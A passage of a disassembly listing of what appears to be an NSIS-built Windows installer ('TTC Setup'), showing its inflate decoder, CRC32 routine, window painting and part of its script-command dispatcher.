		mov	[esi+9BA8h], eax
		call	sub_401A8F
		mov	ecx, [esi+9BA8h]
		mov	edx, [esi+9BA4h]
		cmp	ecx, edx
		mov	[ebp+var_30], ecx
		jnb	short loc_4019F8
		mov	eax, edx
		sub	eax, ecx
		dec	eax
		jmp	short loc_401A00
; ---------------------------------------------------------------------------

loc_4019F8:				; CODE XREF: sub_401000+9EFj
		mov	eax, [esi+9BA0h]
		sub	eax, ecx

loc_401A00:				; CODE XREF: sub_401000+9F6j
		cmp	ecx, edx
		mov	[ebp+var_2C], eax
		jnz	short loc_401A40
		mov	eax, [esi+514h]
		cmp	eax, 8
		mov	[esi], eax
		jnz	short loc_401A47

loc_401A14:				; CODE XREF: sub_401000+4Cj
					; sub_401000+B1j ...
		mov	eax, [esi]
		cmp	eax, 0Fh
		jbe	loc_401051
		jmp	loc_4010B7
; ---------------------------------------------------------------------------

loc_401A24:				; CODE XREF: sub_401000+5Cj
					; sub_401000+1F1j ...
		mov	eax, [ebp+var_40]
		xor	edi, edi
		mov	[esi+51Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+518h], ebx
		mov	[eax+4], edi
		jmp	loc_4010D8
; ---------------------------------------------------------------------------

loc_401A40:				; CODE XREF: sub_401000+2D9j
					; sub_401000+8D6j ...
		xor	edi, edi
		jmp	loc_4010C0
; ---------------------------------------------------------------------------

loc_401A47:				; CODE XREF: sub_401000+A12j
		xor	edi, edi
		inc	edi
		jmp	loc_4010C0
sub_401000	endp

; ---------------------------------------------------------------------------
off_401A4F	dd offset loc_40164C	; DATA XREF: sub_401000:loc_401051r
		dd offset loc_40165F
		dd offset loc_4016F5
		dd offset loc_401746
		dd offset loc_4017C4
		dd offset loc_401808
		dd offset loc_40190E
		dd offset loc_4019BF
		dd offset loc_401078
		dd offset loc_40120D
		dd offset loc_401232
		dd offset loc_401340
		dd offset loc_40137F
		dd offset loc_401562
		dd offset loc_4010B7
		dd offset loc_4019CD

; =============== S U B	R O U T	I N E =======================================



sub_401A8F	proc near		; CODE XREF: sub_401000+EAp
					; sub_401000+286p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esi+9BB4h]

loc_401A9C:				; CODE XREF: sub_401A8F+52j
					; sub_401A8F+5Aj
		mov	ebx, [esi+9BB8h]
		cmp	edi, ebx
		jbe	short loc_401AAC
		mov	ebx, [esi+9BB0h]

loc_401AAC:				; CODE XREF: sub_401A8F+15j
		mov	eax, [esi+0Ch]
		sub	ebx, edi
		cmp	ebx, eax
		jb	short loc_401AB7
		mov	ebx, eax

loc_401AB7:				; CODE XREF: sub_401A8F+24j
		push	ebx
		push	edi
		push	dword ptr [esi+8]
		sub	eax, ebx
		mov	[esi+0Ch], eax
		call	sub_40656F
		add	[esi+8], ebx
		mov	eax, [esi+9BB0h]
		add	edi, ebx
		cmp	edi, eax
		jnz	short loc_401AEB
		cmp	[esi+9BB8h], eax
		lea	edi, [esi+1BB0h]
		jnz	short loc_401A9C
		mov	[esi+9BB8h], edi
		jmp	short loc_401A9C
; ---------------------------------------------------------------------------

loc_401AEB:				; CODE XREF: sub_401A8F+44j
		mov	[esi+9BB4h], edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_401A8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AF7	proc near		; CODE XREF: sub_401000+172p
					; sub_401000+1A5p ...

var_EC		= dword	ptr -0ECh
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 0ECh
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	10h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_70]
		rep stosd
		mov	ecx, [ebp+arg_0]
		mov	edx, esi

loc_401B15:				; CODE XREF: sub_401AF7+2Aj
		mov	eax, [ecx]
		add	ecx, 4
		lea	eax, [ebp+eax*4+var_70]
		inc	dword ptr [eax]
		dec	edx
		jnz	short loc_401B15
		cmp	[ebp+var_70], esi
		jnz	short loc_401B3B
		mov	eax, [ebp+arg_14]
		and	dword ptr [eax], 0
		mov	eax, [ebp+arg_18]
		and	dword ptr [eax], 0
		xor	eax, eax
		jmp	loc_401E2B
; ---------------------------------------------------------------------------

loc_401B3B:				; CODE XREF: sub_401AF7+2Fj
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		inc	ebx
		push	0Fh
		mov	edi, [esi]
		mov	ecx, ebx
		mov	[ebp+arg_18], edi
		pop	edx

loc_401B4B:				; CODE XREF: sub_401AF7+5Fj
		xor	eax, eax
		cmp	[ebp+ecx*4+var_70], eax
		jnz	short loc_401B58
		inc	ecx
		cmp	ecx, edx
		jbe	short loc_401B4B

loc_401B58:				; CODE XREF: sub_401AF7+5Aj
		cmp	edi, ecx
		mov	[ebp+var_4], ecx
		jnb	short loc_401B62
		mov	[ebp+arg_18], ecx

loc_401B62:				; CODE XREF: sub_401AF7+66j
					; sub_401AF7+72j
		cmp	[ebp+edx*4+var_70], eax
		jnz	short loc_401B6B
		dec	edx
		jnz	short loc_401B62

loc_401B6B:				; CODE XREF: sub_401AF7+6Fj
		cmp	[ebp+arg_18], edx
		mov	[ebp+var_18], edx
		jbe	short loc_401B76
		mov	[ebp+arg_18], edx

loc_401B76:				; CODE XREF: sub_401AF7+7Aj
		mov	edi, [ebp+arg_18]
		mov	[esi], edi
		shl	ebx, cl
		jmp	short loc_401B8C
; ---------------------------------------------------------------------------

loc_401B7F:				; CODE XREF: sub_401AF7+97j
		sub	ebx, [ebp+ecx*4+var_70]
		js	loc_401E28
		inc	ecx
		add	ebx, ebx

loc_401B8C:				; CODE XREF: sub_401AF7+86j
		cmp	ecx, edx
		jb	short loc_401B7F
		mov	esi, edx
		shl	esi, 2
		lea	ecx, [ebp+esi+var_70]
		mov	edi, [ecx]
		sub	ebx, edi
		mov	[ebp+var_30], ebx
		js	loc_401E28
		add	edi, ebx
		mov	[ebp+var_AC], eax
		mov	[ecx], edi
		xor	ecx, ecx
		dec	edx
		jz	short loc_401BC8
		xor	edi, edi

loc_401BB7:				; CODE XREF: sub_401AF7+CFj
		add	ecx, [ebp+edi+var_6C]
		add	edi, 4
		dec	edx
		mov	[ebp+edi+var_AC], ecx
		jnz	short loc_401BB7

loc_401BC8:				; CODE XREF: sub_401AF7+BCj
		mov	ebx, [ebp+arg_0]
		xor	edi, edi

loc_401BCD:				; CODE XREF: sub_401AF7+F6j
		mov	ecx, [ebx]
		add	ebx, 4
		cmp	ecx, eax
		jz	short loc_401BE9
		lea	ecx, [ebp+ecx*4+var_B0]
		mov	edx, [ecx]
		mov	dword_409880[edx*4], edi
		inc	edx
		mov	[ecx], edx

loc_401BE9:				; CODE XREF: sub_401AF7+DDj
		inc	edi
		cmp	edi, [ebp+arg_4]
		jb	short loc_401BCD
		mov	ecx, [ebp+esi+var_B0]
		mov	ebx, [ebp+arg_18]
		or	[ebp+var_C], 0FFFFFFFFh
		and	[ebp+var_24], 0
		mov	[ebp+arg_4], ecx
		mov	ecx, [ebp+var_4]
		neg	ebx
		cmp	ecx, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_B0], eax
		mov	[ebp+var_20], offset dword_409880
		mov	[ebp+var_EC], eax
		jg	loc_401E1B
		lea	edx, [ecx-1]
		lea	ecx, [ebp+ecx*4+var_70]
		mov	[ebp+var_28], edx
		mov	[ebp+var_1C], ecx

loc_401C35:				; CODE XREF: sub_401AF7+31Ej
		mov	ecx, [ebp+var_1C]
		mov	esi, [ecx]
		test	esi, esi
		jz	loc_401E05
		jmp	short loc_401C47
; ---------------------------------------------------------------------------

loc_401C44:				; CODE XREF: sub_401AF7+308j
		mov	esi, [ebp+var_2C]

loc_401C47:				; CODE XREF: sub_401AF7+14Bj
		mov	ecx, [ebp+arg_18]
		dec	esi
		add	ecx, ebx
		mov	[ebp+var_2C], esi
		cmp	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		jle	loc_401D28
		inc	esi
		mov	[ebp+var_10], esi

loc_401C60:				; CODE XREF: sub_401AF7+22Bj
		mov	esi, [ebp+var_18]
		inc	[ebp+var_C]
		sub	esi, [ebp+var_14]
		cmp	esi, [ebp+arg_18]
		jbe	short loc_401C71
		mov	esi, [ebp+arg_18]

loc_401C71:				; CODE XREF: sub_401AF7+175j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		sub	ecx, [ebp+var_14]
		inc	edx
		shl	edx, cl
		cmp	edx, [ebp+var_10]
		jbe	short loc_401CA4
		mov	edi, [ebp+var_1C]
		or	eax, 0FFFFFFFFh
		sub	eax, [ebp+var_2C]
		add	edx, eax
		cmp	ecx, esi
		jnb	short loc_401CA4
		jmp	short loc_401C9F
; ---------------------------------------------------------------------------

loc_401C92:				; CODE XREF: sub_401AF7+1ABj
		add	edi, 4
		add	edx, edx
		mov	eax, [edi]
		cmp	edx, eax
		jbe	short loc_401CA4
		sub	edx, eax

loc_401C9F:				; CODE XREF: sub_401AF7+199j
		inc	ecx
		cmp	ecx, esi
		jb	short loc_401C92

loc_401CA4:				; CODE XREF: sub_401AF7+188j
					; sub_401AF7+197j ...
		mov	edx, [ebp+arg_20]
		xor	eax, eax
		inc	eax
		mov	edx, [edx]
		shl	eax, cl
		mov	[ebp+var_24], eax
		lea	edi, [edx+eax]
		cmp	edi, 5A0h
		ja	loc_401E28
		mov	eax, [ebp+arg_1C]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_C]
		lea	esi, [ebp+edx*4+var_EC]
		mov	edx, [ebp+arg_20]
		mov	[edx], edi
		mov	edx, [ebp+var_C]
		test	edx, edx
		mov	[esi], eax
		jz	short loc_401D0F
		mov	edi, [ebp+var_8]
		mov	esi, [esi-4]
		mov	[ebp+edx*4+var_B0], edi
		mov	dl, byte ptr [ebp+arg_18]
		mov	byte ptr [ebp+arg_0+1],	dl
		mov	byte ptr [ebp+arg_0], cl
		mov	edx, edi
		mov	ecx, ebx
		shr	edx, cl
		mov	ecx, eax
		sub	ecx, esi
		sar	ecx, 2
		sub	ecx, edx
		mov	word ptr [ebp+arg_0+2],	cx
		mov	ecx, [ebp+arg_0]
		mov	[esi+edx*4], ecx
		jmp	short loc_401D14
; ---------------------------------------------------------------------------

loc_401D0F:				; CODE XREF: sub_401AF7+1E5j
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax

loc_401D14:				; CODE XREF: sub_401AF7+216j
		mov	ecx, [ebp+var_14]
		mov	ebx, ecx
		add	ecx, [ebp+arg_18]
		cmp	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		jg	loc_401C60

loc_401D28:				; CODE XREF: sub_401AF7+15Fj
		mov	cl, byte ptr [ebp+var_4]
		mov	esi, [ebp+var_20]
		sub	cl, bl
		mov	byte ptr [ebp+arg_0+1],	cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, ds:409880h[ecx*4]
		cmp	esi, ecx
		jb	short loc_401D47
		mov	byte ptr [ebp+arg_0], 0C0h
		jmp	short loc_401D8A
; ---------------------------------------------------------------------------

loc_401D47:				; CODE XREF: sub_401AF7+248j
		mov	ecx, [esi]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_401D6A
		cmp	ecx, 100h
		setb	cl
		dec	cl
		and	ecx, 60h
		mov	byte ptr [ebp+arg_0], cl
		mov	cx, [esi]
		add	esi, 4
		mov	[ebp+var_20], esi
		jmp	short loc_401D86
; ---------------------------------------------------------------------------

loc_401D6A:				; CODE XREF: sub_401AF7+255j
		sub	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		add	ecx, ecx
		mov	dl, [ecx+edx]
		add	dl, 50h
		add	[ebp+var_20], 4
		mov	byte ptr [ebp+arg_0], dl
		mov	edx, [ebp+arg_C]
		mov	cx, [ecx+edx]

loc_401D86:				; CODE XREF: sub_401AF7+271j
		mov	word ptr [ebp+arg_0+2],	cx

loc_401D8A:				; CODE XREF: sub_401AF7+24Ej
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		xor	edi, edi
		sub	ecx, ebx
		inc	edi
		mov	esi, edi
		shl	esi, cl
		mov	ecx, ebx
		shr	edx, cl
		jmp	short loc_401DA7
; ---------------------------------------------------------------------------

loc_401D9F:				; CODE XREF: sub_401AF7+2B3j
		mov	ecx, [ebp+arg_0]
		mov	[eax+edx*4], ecx
		add	edx, esi

loc_401DA7:				; CODE XREF: sub_401AF7+2A6j
		cmp	edx, [ebp+var_24]
		jb	short loc_401D9F
		mov	ecx, [ebp+var_28]
		mov	esi, [ebp+var_8]
		mov	edx, edi
		shl	edx, cl
		jmp	short loc_401DBC
; ---------------------------------------------------------------------------

loc_401DB8:				; CODE XREF: sub_401AF7+2C7j
		xor	esi, edx
		shr	edx, 1

loc_401DBC:				; CODE XREF: sub_401AF7+2BFj
		test	edx, esi
		jnz	short loc_401DB8
		mov	ecx, edi
		xor	esi, edx
		mov	[ebp+var_10], ecx
		mov	ecx, ebx
		mov	edx, edi
		mov	[ebp+var_8], esi
		shl	edx, cl
		dec	edx
		and	edx, esi
		mov	ecx, edx
		mov	edx, [ebp+var_C]
		cmp	ecx, [ebp+edx*4+var_B0]
		jz	short loc_401DFB

loc_401DE1:				; CODE XREF: sub_401AF7+2FFj
		sub	ebx, [ebp+arg_18]
		mov	esi, edi
		dec	edx
		mov	ecx, ebx
		shl	esi, cl
		dec	esi
		and	esi, [ebp+var_8]
		cmp	esi, [ebp+edx*4+var_B0]
		jnz	short loc_401DE1
		mov	[ebp+var_C], edx

loc_401DFB:				; CODE XREF: sub_401AF7+2E8j
		cmp	[ebp+var_2C], 0
		jnz	loc_401C44

loc_401E05:				; CODE XREF: sub_401AF7+145j
		inc	[ebp+var_4]
		add	[ebp+var_1C], 4
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_28]
		cmp	ecx, [ebp+var_18]
		jle	loc_401C35

loc_401E1B:				; CODE XREF: sub_401AF7+12Bj
		xor	eax, eax
		cmp	[ebp+var_30], eax
		jz	short loc_401E2B
		cmp	[ebp+var_18], 1
		jz	short loc_401E2B

loc_401E28:				; CODE XREF: sub_401AF7+8Cj
					; sub_401AF7+A9j ...
		or	eax, 0FFFFFFFFh

loc_401E2B:				; CODE XREF: sub_401AF7+3Fj
					; sub_401AF7+329j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_401AF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E32	proc near		; DATA XREF: sub_4041E1+10Do

var_5C		= byte ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		cmp	[ebp+arg_4], 0Fh
		jz	short loc_401E69
		cmp	[ebp+arg_4], 46h
		mov	eax, [ebp+arg_C]
		jnz	short loc_401E54
		or	dword ptr [eax+18h], 10h
		mov	ecx, dword_42F024
		mov	[eax+4], ecx

loc_401E54:				; CODE XREF: sub_401E32+13j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_40724C	; DefWindowProcA
		jmp	locret_401FAB
; ---------------------------------------------------------------------------

loc_401E69:				; CODE XREF: sub_401E32+Aj
		push	ebx
		push	esi
		mov	esi, dword_42F028
		lea	eax, [ebp+var_5C]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407250	; BeginPaint
		and	[ebp+var_C], 0
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407254	; GetClientRect
		mov	edi, [ebp+var_10]
		and	[ebp+var_10], 0
		mov	ebx, ds:dword_407040
		jmp	loc_401F25
; ---------------------------------------------------------------------------

loc_401EA5:				; CODE XREF: sub_401E32+F6j
		movzx	eax, byte ptr [esi+52h]
		movzx	edx, byte ptr [esi+56h]
		imul	edx, [ebp+var_18]
		mov	ecx, edi
		sub	ecx, [ebp+var_18]
		imul	eax, ecx
		add	eax, edx
		mov	[ebp+arg_8], ecx
		cdq
		idiv	edi
		xor	edx, edx
		mov	dh, al
		movzx	eax, byte ptr [esi+51h]
		imul	eax, ecx
		movzx	ecx, byte ptr [esi+55h]
		imul	ecx, [ebp+var_18]
		add	eax, ecx
		mov	ecx, edx
		cdq
		idiv	edi
		movzx	edx, byte ptr [esi+54h]
		imul	edx, [ebp+var_18]
		mov	cl, al
		movzx	eax, byte ptr [esi+50h]
		imul	eax, [ebp+arg_8]
		add	eax, edx
		cdq
		idiv	edi
		shl	ecx, 8
		movzx	eax, al
		or	ecx, eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_8], ecx
		call	ds:dword_407044	; CreateBrushIndirect
		add	[ebp+var_10], 4
		mov	[ebp+arg_C], eax
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_407258	; FillRect
		push	[ebp+arg_C]
		call	ebx	; DeleteObject
		add	[ebp+var_18], 4

loc_401F25:				; CODE XREF: sub_401E32+6Ej
		cmp	[ebp+var_18], edi
		jl	loc_401EA5
		cmp	dword ptr [esi+58h], 0FFFFFFFFh
		jz	short loc_401F99
		push	dword ptr [esi+34h]
		call	ds:dword_407048	; CreateFontIndirectA
		test	eax, eax
		mov	[ebp+arg_C], eax
		jz	short loc_401F99
		mov	edi, [ebp+arg_4]
		push	1
		push	edi
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_18], 8
		call	ds:dword_40704C	; SetBkMode
		push	dword ptr [esi+58h]
		push	edi
		call	ds:dword_407050	; SetTextColor
		push	[ebp+arg_C]
		mov	esi, ds:dword_407058
		push	edi
		call	esi	; SelectObject
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_1C]
		push	820h
		push	eax
		push	0FFFFFFFFh
		push	offset aTtcSetup ; "TTC	Setup"
		push	edi
		call	ds:dword_40725C	; DrawTextA
		push	[ebp+arg_4]
		push	edi
		call	esi	; SelectObject
		push	[ebp+arg_C]
		call	ebx	; DeleteObject

loc_401F99:				; CODE XREF: sub_401E32+100j
					; sub_401E32+110j
		lea	eax, [ebp+var_5C]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407260	; EndPaint
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

locret_401FAB:				; CODE XREF: sub_401E32+32j
		leave
		retn	10h
sub_401E32	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FAF	proc near		; CODE XREF: sub_4038D5+178p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	dword_40A58C, 0
		push	esi
		jnz	short loc_401FE6
		xor	ecx, ecx

loc_401FBB:				; CODE XREF: sub_401FAF+35j
		push	8
		mov	eax, ecx
		pop	esi

loc_401FC0:				; CODE XREF: sub_401FAF+25j
		mov	edx, eax
		and	dl, 1
		neg	dl
		sbb	edx, edx
		and	edx, 0EDB88320h
		shr	eax, 1
		xor	eax, edx
		dec	esi
		jnz	short loc_401FC0
		mov	dword_40A588[ecx*4], eax
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_401FBB

loc_401FE6:				; CODE XREF: sub_401FAF+8j
		mov	edx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		test	edx, edx
		not	eax
		jbe	short loc_402017
		mov	ecx, [esp+4+arg_4]
		push	edi

loc_401FF9:				; CODE XREF: sub_401FAF+65j
		movzx	edi, byte ptr [ecx]
		mov	esi, eax
		and	esi, 0FFh
		xor	esi, edi
		shr	eax, 8
		mov	esi, dword_40A588[esi*4]
		xor	eax, esi
		inc	ecx
		dec	edx
		jnz	short loc_401FF9
		pop	edi

loc_402017:				; CODE XREF: sub_401FAF+43j
		not	eax
		pop	esi
		retn	0Ch
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40201D	proc near		; CODE XREF: sub_4020C0+10p
					; sub_4020E9+A3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		jmp	loc_4020AB
; ---------------------------------------------------------------------------

loc_402027:				; CODE XREF: sub_40201D+90j
		mov	eax, esi
		mov	ecx, dword_42F050
		imul	eax, 1Ch
		add	eax, ecx
		cmp	dword ptr [eax], 1
		jz	short loc_4020B3
		push	eax
		call	sub_4020E9
		cmp	eax, 7FFFFFFFh
		jz	short loc_4020B9
		test	eax, eax
		jge	short loc_40205D
		inc	eax
		mov	ecx, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		shl	eax, 0Ah
		sub	ecx, eax
		push	ecx
		call	sub_406840
		test	eax, eax

loc_40205D:				; CODE XREF: sub_40201D+2Bj
		jnz	short loc_402065
		xor	eax, eax
		inc	eax
		inc	esi
		jmp	short loc_40206C
; ---------------------------------------------------------------------------

loc_402065:				; CODE XREF: sub_40201D:loc_40205Dj
		dec	eax
		mov	ecx, esi
		mov	esi, eax
		sub	eax, ecx

loc_40206C:				; CODE XREF: sub_40201D+46j
		cmp	[esp+4+arg_4], 0
		jz	short loc_4020AB
		add	dword_42E80C, eax
		mov	eax, dword_42E7F4
		xor	ecx, ecx
		push	0
		test	eax, eax
		setz	cl
		add	ecx, eax
		push	ecx
		push	7530h
		push	dword_42E80C
		call	ds:dword_40710C	; MulDiv
		push	eax
		push	402h
		push	[esp+0Ch+arg_8]
		call	ds:dword_407248	; SendMessageA

loc_4020AB:				; CODE XREF: sub_40201D+5j
					; sub_40201D+54j
		test	esi, esi
		jge	loc_402027

loc_4020B3:				; CODE XREF: sub_40201D+1Aj
		xor	eax, eax

loc_4020B5:				; CODE XREF: sub_40201D+A1j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------

loc_4020B9:				; CODE XREF: sub_40201D+27j
		mov	eax, 7FFFFFFFh
		jmp	short loc_4020B5
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4020C0	proc near		; CODE XREF: start+383p
					; sub_4041E1+17Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_42F028
		push	0
		push	dword ptr [ecx+eax*4+6Ch]
		call	sub_40201D
		retn	4
sub_4020C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4020D8	proc near		; CODE XREF: sub_4020E9+1F7p
					; sub_4020E9+A2Bp ...

arg_0		= dword	ptr  4

		push	offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		push	[esp+4+arg_0]
		call	sub_405CAC
		retn	4
sub_4020D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020E9	proc near		; CODE XREF: sub_40201D+1Dp

var_1A4		= byte ptr -1A4h
var_178		= byte ptr -178h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= word ptr -54h
var_4A		= dword	ptr -4Ah
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	eax, dword_42F080
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	7
		mov	[ebp+var_34], eax
		mov	eax, dword_42F024
		pop	ecx
		lea	edi, [ebp+var_28]
		mov	[ebp+var_8], eax
		xor	ebx, ebx
		rep movsd
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_20]
		mov	esi, eax
		mov	edi, edx
		shl	esi, 0Ah
		mov	ecx, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		mov	[ebp+var_4], ebx
		shl	edi, 0Ah
		add	esi, ecx
		add	edi, ecx
		lea	ecx, [ebp+var_24]
		mov	dword_40A9C4, ecx
		mov	ecx, [ebp+var_28]
		add	ecx, 0FFFFFFFEh	; switch 66 cases
		cmp	ecx, 41h
		ja	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		jmp	ds:off_4035FA[ecx*4] ; switch jump

loc_40214D:				; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 3
		push	eax

loc_40214F:				; CODE XREF: sub_4020E9+479j
		call	sub_405CAC
		jmp	loc_402F68
; ---------------------------------------------------------------------------

loc_402159:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		inc	dword_42E7EC	; jumptable 00402146 case 4
		cmp	[ebp+var_8], ebx
		jz	loc_402F68
		push	ebx
		call	ds:dword_407210	; PostQuitMessage
		jmp	loc_402F68
; ---------------------------------------------------------------------------

loc_402174:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	eax, ebx	; jumptable 00402146 case 5
		jge	short loc_402189
		inc	eax
		mov	ecx, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		shl	eax, 0Ah
		sub	ecx, eax
		push	ecx
		call	sub_406840

loc_402189:				; CODE XREF: sub_4020E9+8Dj
		dec	eax
		push	ebx
		push	eax
		call	sub_40201D
		jmp	loc_4035F3	; jumptable 00402146 case 2
; ---------------------------------------------------------------------------

loc_402196:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		cmp	edx, ebx	; jumptable 00402146 case 6
		jz	short loc_4021C3
		test	dl, 8
		jz	short loc_4021AE
		mov	eax, dword_409034
		mov	dword_4092C0, eax
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4021AE:				; CODE XREF: sub_4020E9+B4j
		mov	eax, dword_4092C0
		mov	dword_4092C0, edx
		mov	dword_409034, eax
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4021C3:				; CODE XREF: sub_4020E9+AFj
		push	ebx
		push	eax
		call	sub_405CAC
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4021CF:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 7
		call	sub_403736
		cmp	eax, 1
		jg	short loc_4021DD
		xor	eax, eax
		inc	eax

loc_4021DD:				; CODE XREF: sub_4020E9+EFj
		push	eax
		call	ds:dword_40709C	; Sleep
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4021E9:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	[ebp+var_8]	; jumptable 00402146 case 8
		call	ds:dword_407214	; SetForegroundWindow
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4021F7:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	1		; jumptable 00402146 case 13
		call	sub_403736
		mov	ecx, [ebp+var_24]
		mov	dword_42F0A0[ecx*4], eax
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_40220D:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		mov	eax, [ebp+var_1C] ; jumptable 00402146 case 14
		lea	esi, ds:42F0A0h[eax*4]
		xor	eax, eax
		mov	ecx, [esi]
		cmp	ecx, ebx
		setz	al
		and	ecx, [ebp+var_18]
		mov	eax, [ebp+eax*4+var_24]
		mov	[esi], ecx
		jmp	loc_4035F3	; jumptable 00402146 case 2
; ---------------------------------------------------------------------------

loc_40222E:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	dword_42F0A0[edx*4] ; jumptable	00402146 case 15

loc_402235:				; CODE XREF: sub_4020E9+71Aj
					; sub_4020E9+8A1j ...
		push	esi
		jmp	loc_403514
; ---------------------------------------------------------------------------

loc_40223B:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		mov	ecx, dword_42E7F0 ; jumptable 00402146 case 9
		mov	esi, ds:dword_407218
		cmp	ecx, ebx
		jz	short loc_402252
		push	edx
		push	ecx
		call	esi	; ShowWindow
		mov	eax, [ebp+var_24]

loc_402252:				; CODE XREF: sub_4020E9+160j
		mov	ecx, dword_42E804
